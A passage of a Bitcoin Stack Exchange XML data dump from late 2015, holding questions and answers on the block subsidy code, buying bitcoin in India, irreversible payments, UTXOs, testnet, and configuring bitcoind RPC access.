3.0" />
  <row Id="41994" PostTypeId="1" CreationDate="2015-12-23T04:30:16.500" Score="4" ViewCount="895" Body="&lt;p&gt;As per Bitcoin documentation, new coins are generated and brought into circulation when miner receive the reward. &#xA;I am not talking about existing coins that are collected at the time of mining.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can somebody guide me, where exactly this generation of new coins takes place?&lt;/p&gt;&#xA;" OwnerUserId="31399" LastEditorUserId="5406" LastEditDate="2021-10-21T14:37:21.030" LastActivityDate="2021-10-21T14:37:21.030" Title="Where is the source code that allows new coins to be generated?" Tags="|bitcoin-core-development|mining-reward|coinbase-transaction|reward-schedule|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41995" PostTypeId="1" CreationDate="2015-12-23T05:13:42.330" Score="2" ViewCount="1750" Body="&lt;p&gt;I have came across multiple companies selling BTC, but I’m not sure which one to trust. How can I find a safe way to buy bitcoins in India?&lt;/p&gt;&#xA;" OwnerUserId="31400" LastEditorUserId="5406" LastEditDate="2015-12-23T08:20:05.917" LastActivityDate="2020-04-01T19:44:35.140" Title="What's the safest way to buy bitcoins in India?" Tags="|buy-bitcoins|sell-bitcoins|market|india|" AnswerCount="2" CommentCount="1" ClosedDate="2020-04-01T22:59:11.303" ContentLicense="CC BY-SA 3.0" />
  <row Id="41996" PostTypeId="2" ParentId="41994" CreationDate="2015-12-23T08:35:42.863" Score="4" Body="&lt;p&gt;You are looking for the method &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/v22.0/src/validation.cpp#L1186-L1197&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;CAmount GetBlockSubsidy(int nHeight, const Consensus::Params&amp;amp; consensusParams)&lt;/code&gt; in &lt;code&gt;validation.cpp&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;CAmount GetBlockSubsidy(int nHeight, const Consensus::Params&amp;amp; consensusParams)&#xA;{&#xA;    int halvings = nHeight / consensusParams.nSubsidyHalvingInterval;&#xA;    // Force block reward to zero when right shift is undefined.&#xA;    if (halvings &amp;gt;= 64)&#xA;        return 0;&#xA;&#xA;    CAmount nSubsidy = 50 * COIN;&#xA;    // Subsidy is cut in half every 210,000 blocks which will occur approximately every 4 years.&#xA;    nSubsidy &amp;gt;&amp;gt;= halvings;&#xA;    return nSubsidy;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The variables in this code snippet stand for:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;nHeight&lt;/code&gt; is the number of blocks that have been found.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;consensusParams.nSubsidyHalvingInterval&lt;/code&gt; is 210000 blocks, the duration of reward epochs and the interval between the halvings&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;COIN&lt;/code&gt; is 10&lt;sup&gt;8&lt;/sup&gt;, the number of satoshis in one bitcoin&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;nSubsidy&lt;/code&gt; finally gives the number of satoshis that may be generated per block&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2021-10-21T14:36:20.743" LastActivityDate="2021-10-21T14:36:20.743" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="41997" PostTypeId="1" CreationDate="2015-12-23T09:30:47.353" Score="0" ViewCount="527" Body="&lt;p&gt;I deposited bitcoins on an online investment. the record on my bitcoin wallet shows that it was indeed sent to the wallet address of the online investment. but my account on that online investment is still empty or zero. they didn't put my bitcoins on my account to that investment. what should I do. I want my bitcoins bring back to me. please help me.&lt;/p&gt;&#xA;" OwnerUserId="31405" LastActivityDate="2017-01-10T11:33:29.390" Title="How can i bring my bitcoins back to me?" Tags="|sending|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="41998" PostTypeId="2" ParentId="41997" CreationDate="2015-12-23T10:05:59.067" Score="1" Body="&lt;p&gt;Only whoever you sent your bitcoins to can help you. If they are scammers you're out of luck.&lt;/p&gt;&#xA;" OwnerUserId="5292" LastActivityDate="2015-12-23T10:05:59.067" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41999" PostTypeId="1" CreationDate="2015-12-23T12:15:14.603" Score="1" ViewCount="1023" Body="&lt;p&gt;I am not familiar with boost in c++. Can any expert please explain in simple terms what is happening in the below code ? Is it like the logic in &lt;code&gt;ThreadScriptCheck&lt;/code&gt; is scheduled to be run in background or how? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is taken from bitcoin initialization (&lt;code&gt;src/init.cpp&lt;/code&gt;). The classes are defined in &lt;code&gt;src/scheduler.h&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;AppInit2()&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Assume value of nScriptCheckThreads is 4&#xA;&#xA;if (nScriptCheckThreads) {&#xA;    for (int i=0; i&amp;lt;nScriptCheckThreads-1; i++)&#xA;        threadGroup.create_thread(&amp;amp;ThreadScriptCheck);&#xA;}&#xA;&#xA;// Start the lightweight task scheduler thread&#xA;CScheduler::Function serviceLoop = boost::bind(&amp;amp;CScheduler::serviceQueue, &amp;amp;scheduler);&#xA;threadGroup.create_thread(boost::bind(&amp;amp;TraceThread&amp;lt;CScheduler::Function&amp;gt;, &quot;scheduler&quot;, serviceLoop));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="31217" LastActivityDate="2015-12-24T00:29:12.040" Title="Understanding Multi-threading (boost) in bitcoin initialization" Tags="|bitcoind|bitcoin-core|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42000" PostTypeId="1" CreationDate="2015-12-23T12:44:40.210" Score="0" ViewCount="101" Body="&lt;p&gt;As the question says, on the wallet, bitcoin core, under file you can find 'sending addresses' and 'receiving addresses'. In a moment of absolute stupidity I copied one of the sending addresses when buying some bitcoin. The transaction is marked as having occured on bittylicious but no transactions appear on my bitcoin wallet - what can I do?&lt;/p&gt;&#xA;" OwnerUserId="31407" LastActivityDate="2016-01-22T13:50:49.730" Title="Bitcoin Core - Bought bitcoin to a 'sending address', what can I now do, nothing is showing up in my transactions" Tags="|bitcoin-core|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42001" PostTypeId="2" ParentId="42000" CreationDate="2015-12-23T13:32:51.937" Score="1" Body="&lt;p&gt;If you provided one from your sending instead of receiving consider those coins donated. Your wallet only shows transactions on addresses you own.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you can do is try to figure out what address you provided them. I've never used the service you mentioned but they probably have the transaction ID available. Once you find out the address try to remember what you used that address for in the past. Your coins might be on an exchange or website you used before. &lt;/p&gt;&#xA;" OwnerUserId="26873" LastActivityDate="2015-12-23T13:32:51.937" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="42002" PostTypeId="1" CreationDate="2015-12-23T13:42:41.947" Score="0" ViewCount="834" Body="&lt;p&gt;Can Armory be used for mining?&#xA;I hear it is a wallet, but as it downloads the whole blockchain anyway should not you be able to mine with it, too?&lt;/p&gt;&#xA;" OwnerUserId="31410" LastEditorUserId="5406" LastEditDate="2016-02-04T13:15:06.387" LastActivityDate="2017-07-17T22:21:36.297" Title="Can Armory be used for mining?" Tags="|wallet|armory|mining-software|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42003" PostTypeId="2" ParentId="41997" CreationDate="2015-12-23T14:16:13.597" Score="4" Body="&lt;p&gt;Bitcoin transactions are not reversable. The only way for you to get your bitcoins returned is by convincing your business partner to send them back to you.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastActivityDate="2015-12-23T14:16:13.597" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42005" PostTypeId="2" ParentId="41995" CreationDate="2015-12-23T15:45:01.587" Score="3" Body="&lt;p&gt;There are several legit companies where you can buy and sell Bitcoin officially in India such as Zebpay, Unocoin, Coinsecure,and Btcxindia.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have personally used Unocoin and Zebpay, both are good.&lt;/p&gt;&#xA;" OwnerUserId="31412" LastEditorUserId="5406" LastEditDate="2015-12-23T19:36:48.430" LastActivityDate="2015-12-23T19:36:48.430" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="42006" PostTypeId="1" AcceptedAnswerId="42008" CreationDate="2015-12-23T16:02:21.583" Score="2" ViewCount="7326" Body="&lt;p&gt;When a new transaction is executed via a Bitcoin-client, the sender will have a different address than the ones used in previous transactions. I also know that all the full nodes in the Bitcoin network maintain a ledger, which is basically a history off all Bitoin transactions ever made so the nodes can check the integrity of the system and the current amount of bitcoins people have available in their wallets.&#xA;How is it even possible to check all the transactions when there are constantly new addresses being generated? You can't even link a current transaction to the previous. Is there something I'm missing?&lt;/p&gt;&#xA;" OwnerUserId="31414" LastEditorUserId="5406" LastEditDate="2015-12-23T16:18:42.960" LastActivityDate="2018-02-27T05:28:50.033" Title="How can the transaction history be checked when new addresses are generated?" Tags="|blockchain|address|utxo|full-node|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42007" PostTypeId="2" ParentId="42006" CreationDate="2015-12-23T16:17:18.327" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;When a new transaction is executed via a Bitcoin-client, the sender will have a different address than the ones used in previous transactions.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;That’s incorrect. You can only send money from the address where you received it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example:&lt;br&gt;&#xA;&lt;em&gt;Alice sends 1 BTC to Bob’s &lt;code&gt;address A&lt;/code&gt;. When Bob now sends money to Carol, his client software will sign the transaction with the private key corresponding to &lt;code&gt;address A&lt;/code&gt;. The unspent transaction output on &lt;code&gt;address A&lt;/code&gt; will then be used up, and a new balance will be available on Carol’s address.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2015-12-23T16:24:31.973" LastActivityDate="2015-12-23T16:24:31.973" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42008" PostTypeId="2" ParentId="42006" CreationDate="2015-12-23T18:06:40.863" Score="5" Body="&lt;p&gt;One thing you might be missing is &quot;there are no balances&quot;.  The network doesn't know about wallets or balances, it only knows about outputs.  These outputs are either spent or unspent. Once you have this concept it's easier to understand.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your wallet says you have a balance of 1.2345 BTC that means it &quot;thinks&quot; there are X number of unspent outputs that you &quot;control&quot; that add up to 1.2345.  It's basing this on the keys it knows about and the transactions it has seen so far. There could be 1 output with a value of 1.2345 or 100 outputs with a sum of 1.2345, or any combination.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See any transaction on blockchain.info and you'll see the inputs on the left side.  These inputs are previously unspent outputs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blockchain.info/tx/ad646bbac1e44e4db199420e12fec2966903a0e078da99fab97b3156455f252a&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/tx/ad646bbac1e44e4db199420e12fec2966903a0e078da99fab97b3156455f252a&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the right side are the new unspent outputs.  Once an output is used it's now spent and carries no balance.  Since the outputs you are using probably don't add up to exactly what you want there is a concept of change.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Change&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Change&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So what about new addresses? The network doesn't need to know &lt;em&gt;anything&lt;/em&gt; about new addresses.  When a node sees a new transaction it only has to verify the outputs being spent are not spent already i.e. they haven't been used by any other transaction (along with other verification like signature, amounts etc..)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So all transactions are linked to previous ones in that way.&lt;/p&gt;&#xA;" OwnerUserId="31391" LastEditorUserId="5406" LastEditDate="2015-12-23T18:09:42.563" LastActivityDate="2015-12-23T18:09:42.563" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="42009" PostTypeId="1" AcceptedAnswerId="42010" CreationDate="2015-12-23T18:25:19.810" Score="0" ViewCount="148" Body="&lt;p&gt;I really like the idea of having an universal online currency and I wanted to know if I can use it in the 'surface web'.&lt;/p&gt;&#xA;" OwnerUserId="31419" LastEditorUserId="5406" LastEditDate="2015-12-23T20:25:04.413" LastActivityDate="2015-12-23T22:06:33.860" Title="Can I use Bitcoin elsewhere except in the deep web?" Tags="|payment|merchants|adoption|" AnswerCount="4" CommentCount="0" ClosedDate="2016-01-04T14:47:44.093" ContentLicense="CC BY-SA 3.0" />
  <row Id="42010" PostTypeId="2" ParentId="42009" CreationDate="2015-12-23T19:17:32.057" Score="2" Body="&lt;p&gt;Yes. You can use bitcoins in many places. There are Bitcoin exchanges where you may exchange your coins for USD or vice-versa. You can also use them on various websites like Newegg for example.&lt;/p&gt;&#xA;" OwnerUserId="31421" LastActivityDate="2015-12-23T19:17:32.057" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42011" PostTypeId="2" ParentId="41903" CreationDate="2015-12-23T20:00:10.140" Score="1" Body="&lt;p&gt;I would start by looking at the mempool. See &lt;em&gt;getrawmempool&lt;/em&gt;, &lt;em&gt;getrawtransaction&lt;/em&gt;, &lt;em&gt;decoderawtransaction&lt;/em&gt; api calls.  Once you see the transaction your looking for in the mempool you could consider that status #1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once this transaction is confirmed in a block it will show up as part of the &lt;em&gt;getbalance&lt;/em&gt; for that account and other RPC calls like &lt;em&gt;listunspent&lt;/em&gt; etc..  You could consider that status #2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then it's up to you how many confirmations you want for the payment to be considered confirmed.&lt;/p&gt;&#xA;" OwnerUserId="31391" LastActivityDate="2015-12-23T20:00:10.140" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42012" PostTypeId="2" ParentId="42009" CreationDate="2015-12-23T20:36:55.290" Score="-1" Body="&lt;p&gt;Yes! Of course! Websites like Overstock.com accept bitcoin.&lt;/p&gt;&#xA;" OwnerUserId="31336" LastActivityDate="2015-12-23T20:36:55.290" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42013" PostTypeId="1" CreationDate="2015-12-23T20:47:24.347" Score="0" ViewCount="225" Body="&lt;p&gt;I'm trying to help out the Bitcoin network as efficiently as possible. I have access to VM's, with a $1200 monthly budget. I'm trying to figure out if a single 16 core/ 56gb RAM VM would be better than a multiple barebone dual core/3.5gb RAM VMs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the pricing list:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://azure.microsoft.com/en-us/pricing/details/virtual-machines/&quot; rel=&quot;nofollow&quot;&gt;https://azure.microsoft.com/en-us/pricing/details/virtual-machines/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How would you set up these VM's the most efficient way with a $1200/month budget?&lt;/p&gt;&#xA;" OwnerUserId="29899" LastActivityDate="2015-12-23T21:47:10.943" Title="What's the difference between a 4 core VM running a Bitcoin Node vs. a 16 core VM?" Tags="|bitcoind|nodes|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42014" PostTypeId="2" ParentId="42009" CreationDate="2015-12-23T20:52:36.333" Score="0" Body="&lt;p&gt;With the Shift card, you can spend Bitcoin anywhere Visa is accepted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.shiftpayments.com/&quot; rel=&quot;nofollow&quot;&gt;https://www.shiftpayments.com/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="29899" LastActivityDate="2015-12-23T20:52:36.333" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42015" PostTypeId="2" ParentId="42013" CreationDate="2015-12-23T21:47:10.943" Score="3" Body="&lt;p&gt;There's very little value in running a Bitcoin node on Microsoft servers. The idea of nodes is not to add processing power to the network, but to increase decentralization and redundancy. Running multiple instances on servers completely controlled by Microsoft does not help that goal.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2015-12-23T21:47:10.943" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="42016" PostTypeId="2" ParentId="42009" CreationDate="2015-12-23T22:06:33.860" Score="2" Body="&lt;p&gt;There are a number of applications. Bitcoin is e.g. used for&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;donations, e.g. &lt;a href=&quot;https://www.khanacademy.org/donate&quot; rel=&quot;nofollow noreferrer&quot;&gt;Khan Academy&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;online-shops for digital goods, e.g. vpn, web hosting, mail servers, &lt;a href=&quot;https://libertymusicstore.net/&quot; rel=&quot;nofollow noreferrer&quot;&gt;mp3s&lt;/a&gt;, &lt;a href=&quot;http://www.greenmangaming.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;computer games&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;mail-order companies, e.g. &lt;a href=&quot;http://overstock.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;Overstock&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;booking flights and hotels, e.g. on Expedia&lt;/li&gt;&#xA;&lt;li&gt;remittances&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://coinmap.org/welcome/&quot; rel=&quot;nofollow noreferrer&quot;&gt;brick and mortar stores&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;You can find a more complete overview on the question &lt;a href=&quot;https://bitcoin.stackexchange.com/q/2089/5406&quot;&gt;Where can I find a list of merchants who accept bitcoins?&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.610" LastActivityDate="2015-12-23T22:06:33.860" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42017" PostTypeId="2" ParentId="42002" CreationDate="2015-12-23T22:22:42.397" Score="2" Body="&lt;p&gt;Armory uses Bitcoin Core to download blocks and other basic functionality. Bitcoin Core is what is normally used for mining so that's what you'd be using. Armory does not add anything useful for mining. When you mine you can send the mining income to an Armory wallet without Armory taking part in the mining process.&lt;/p&gt;&#xA;" OwnerUserId="141" LastActivityDate="2015-12-23T22:22:42.397" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42018" PostTypeId="2" ParentId="41999" CreationDate="2015-12-24T00:29:12.040" Score="2" Body="&lt;p&gt;The &lt;code&gt;boost::thread_group&lt;/code&gt; class doesn't do very much. It's basically just a container of threads. It doesn't really have any scheduling or dispatch functions. That this thread is part of a thread group doesn't really matter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;CScheduler&lt;/code&gt; code allows a thread to run a task at a particular time. It requires a thread to run the various tasks that it schedules. This code creates a thread to runs those tasks for this &lt;code&gt;CScheduler&lt;/code&gt; and adds it to the thread group.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2015-12-24T00:29:12.040" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="42020" PostTypeId="2" ParentId="41995" CreationDate="2015-12-24T06:36:08.640" Score="1" Body="&lt;p&gt;Btcxindia is good. For peer to peer trading you can use localbitcoins&lt;/p&gt;&#xA;" OwnerUserId="26481" LastActivityDate="2015-12-24T06:36:08.640" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42021" PostTypeId="2" ParentId="3612" CreationDate="2015-12-24T06:58:31.873" Score="0" Body="&lt;p&gt;Consider using &lt;a href=&quot;https://www.blockonomics.co&quot; rel=&quot;nofollow&quot;&gt;https://www.blockonomics.co&lt;/a&gt;. It only supports BTC, they have plans to support more crypto later&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can track multiple BTC address, see history and export transactions for further analysis. &lt;/p&gt;&#xA;" OwnerUserId="26481" LastActivityDate="2015-12-24T06:58:31.873" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42022" PostTypeId="2" ParentId="41080" CreationDate="2015-12-24T09:52:08.510" Score="2" Body="&lt;p&gt;Did you add the hardcoded nodes with &lt;code&gt;addnode&lt;/code&gt; or with &lt;code&gt;connect&lt;/code&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;addnode=&amp;lt;ip&amp;gt;&lt;/code&gt;          Add a node to connect to and attempt to keep the connection open&lt;br&gt;&#xA;&lt;code&gt;connect=&amp;lt;ip&amp;gt;&lt;/code&gt;          Connect only to the specified node(s)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, if you used &lt;code&gt;connect&lt;/code&gt;, it will not connect to any but the hardcoded nodes.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastActivityDate="2015-12-24T09:52:08.510" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42023" PostTypeId="2" ParentId="41107" CreationDate="2015-12-24T11:43:09.770" Score="1" Body="&lt;p&gt;&lt;a href=&quot;https://litecoin.info/Mining_hardware_comparison&quot; rel=&quot;nofollow noreferrer&quot;&gt;Mining hardware comparision on Litecoin.info&lt;/a&gt; lists an &quot;AMD 6530D&quot; with a hashrate of &lt;code&gt;47 kH/s&lt;/code&gt;. This is in the same range as what you achieve. The higher numbers you found were probably associated with a different mining algorithm instead of &lt;code&gt;Scrypt&lt;/code&gt; which you are performing when mining Litecoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, the age for GPU mining is over for Scrypt mining just as it is with Bitcoin mining. Although, I was talking about Bitcoin, this longer explanation applies to Litecoin just as well: &#xA;&lt;a href=&quot;https://bitcoin.stackexchange.com/q/41276/5406&quot;&gt;In the ASIC-age, is it worth starting mining Bitcoin at home?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:32.940" LastActivityDate="2015-12-24T11:43:09.770" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42026" PostTypeId="1" AcceptedAnswerId="83740" CreationDate="2015-12-25T01:57:40.183" Score="1" ViewCount="2021" Body="&lt;p&gt;For development or test purpose, is it possible to setup a bitcoind as a private bitcoin blockchain?&lt;/p&gt;&#xA;" OwnerUserId="29597" LastActivityDate="2020-05-16T19:42:28.543" Title="Is it possible to use bitcoind as a private blockchain?" Tags="|bitcoind|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="42027" PostTypeId="2" ParentId="42026" CreationDate="2015-12-25T03:29:58.867" Score="3" Body="&lt;p&gt;When run with no arguments, all Bitcoin Core programs default to Bitcoin’s main network (mainnet). However, for development, it’s safer and cheaper to use Bitcoin’s test network (testnet) where the satoshis spent have no real-world value. Testnet also relaxes some restrictions (such as standard transaction checks) so you can test functions which might currently be disabled by default on mainnet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To use testnet, use the argument -testnet with bitcoin-cli, bitcoind or bitcoin-qt or add testnet=1 to your bitcoin.conf file as described earlier. To get free satoshis for testing, use Piotr Piasecki’s testnet faucet. Testnet is a public resource provided for free by members of the community, so please don’t abuse it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcoin.org/en/developer-examples#testing-applications&quot; rel=&quot;nofollow&quot;&gt;https://bitcoin.org/en/developer-examples#testing-applications&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need absolutely private network - just made it. Run a few clean wallets on few computers, generate bitcoins and so on.. It will be incompatible with bitcoin network, but will be completely functional in your private local network.&lt;/p&gt;&#xA;" OwnerUserId="31308" LastEditorUserId="31308" LastEditDate="2015-12-25T03:47:16.883" LastActivityDate="2015-12-25T03:47:16.883" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="42029" PostTypeId="2" ParentId="37855" CreationDate="2015-12-25T09:51:42.820" Score="1" Body="&lt;p&gt;&lt;a href=&quot;https://www.blockonomics.co&quot; rel=&quot;nofollow&quot;&gt;blockonomics&lt;/a&gt; will mail / send you push notification whenever there is transaction on your address. Doesn't have a feature for low balance yet, but should be straightforward to implement.&lt;/p&gt;&#xA;" OwnerUserId="26481" LastActivityDate="2015-12-25T09:51:42.820" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42030" PostTypeId="2" ParentId="28177" CreationDate="2015-12-25T09:56:58.680" Score="1" Body="&lt;p&gt;If you have bitcoind running, you can get balance without using bitcoin-abe.&#xA;Basically you need addrindex enabled in bitcoin. A simple script can get all transactions of a given address and then calculate the balance. You can use &lt;a href=&quot;https://github.com/cnu1439/blockchain-utils&quot; rel=&quot;nofollow&quot;&gt;https://github.com/cnu1439/blockchain-utils&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="26481" LastActivityDate="2015-12-25T09:56:58.680" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42032" PostTypeId="1" CreationDate="2015-12-26T09:32:01.473" Score="0" ViewCount="248" Body="&lt;p&gt;Can someone tell me how to get a confirmation please or cancel this;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;e8c5489abcb60ecdb925ac880ec1e238c9a65ca4c5480065a6ca268bf00ea7ba-000&lt;/p&gt;&#xA;" OwnerUserId="31462" LastActivityDate="2016-01-02T14:45:52.307" Title="Why is this unconfirmed?" Tags="|unconfirmed-transactions|zero-confirmation|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42033" PostTypeId="1" CreationDate="2015-12-26T16:28:53.770" Score="0" ViewCount="538" Body="&lt;p&gt;I've installed bitcoind as said:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo apt-add-repository ppa:bitcoin/bitcoin&#xA;sudo apt-get update&#xA;sudo apt-get install bitcoin-qt&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then I started server, running &lt;code&gt;bitcoind -daemon&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But initial block download doesn start for some reason. When I call &lt;code&gt;bitcoin-cli getblockchaininfo&lt;/code&gt; verificationprogress is always 0.0000000&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On my local machine everything went well and seems that I have to fix network settings to be able to run bitcoin on remote server at collocation. But I have now Idea what to fix and where to look. I've searched google all the way up and down, I've tried &lt;code&gt;setting proxy=127.0.0.1:9050&lt;/code&gt; - no effect :(&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Pls help - how do I make bitcoind to connect to peers?&lt;/p&gt;&#xA;" OwnerUserId="31465" LastActivityDate="2015-12-26T16:28:53.770" Title="Initital block downloading does not start" Tags="|bitcoind|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="42034" PostTypeId="1" CreationDate="2015-12-26T18:01:46.530" Score="2" ViewCount="728" Body="&lt;p&gt;I'm having trouble connecting to my node via JSON RPC from an external server. &#xA;On the same machine, I'm able to pass the commands through bitcoin-cli and also locally I am able to run this PHP file which passes successfully. Once I try to do the same from an external source, I receive an error. I've allowed my webservers IP, under the conf file as rpcallowip. I know it's default it to only accept local requests, but I thought as long as I enter in the rpcallowip then I would be able to do the same from another server. I've even tried to add a range on my IPs allowed, no luck. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;My Conf:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; server=1&#xA; rpcuser=userRPC&#xA; rpcpassword=passRPC&#xA; rpctimeout=30&#xA; rpcallowip=68.65.122.148&#xA; rpcallowip=68.65.122.0/24&#xA; rpcport=8332&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;phpfile.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;require_once 'jsonRPCClient.php';&#xA;&#xA;$btc= new jsonRPCClient('http://userRPC:passRPC@127.0.0.1:8332/');&#xA;&#xA;echo &quot;&amp;lt;pre&amp;gt;\n&quot;;&#xA;print_r($btc-&amp;gt;getinfo());&#xA;echo &quot;&amp;lt;/pre&amp;gt;&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The above works perfectly when running locally. I'll change the above IP address to my node and then try to run it on an external server and I get a blank response as if my node isn't even running. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Error response received when running from external server:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Fatal error:  Uncaught exception 'Exception' with message 'Incorrect response id (request id: 1, response id: )' in /home/coincxby/public_html/jsonRPCClient.php:152&#xA;Stack trace:&#xA;#0 /home/coincxby/public_html/node.php(8): jsonRPCClient-&amp;gt;__call('getinfo', Array)&#xA;#1 /home/coincxby/public_html/node.php(8): jsonRPCClient-&amp;gt;getinfo()&#xA;#2 {main}&#xA;  thrown in /home/coincxby/public_html/jsonRPCClient.php on line 152&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Successful response when I run 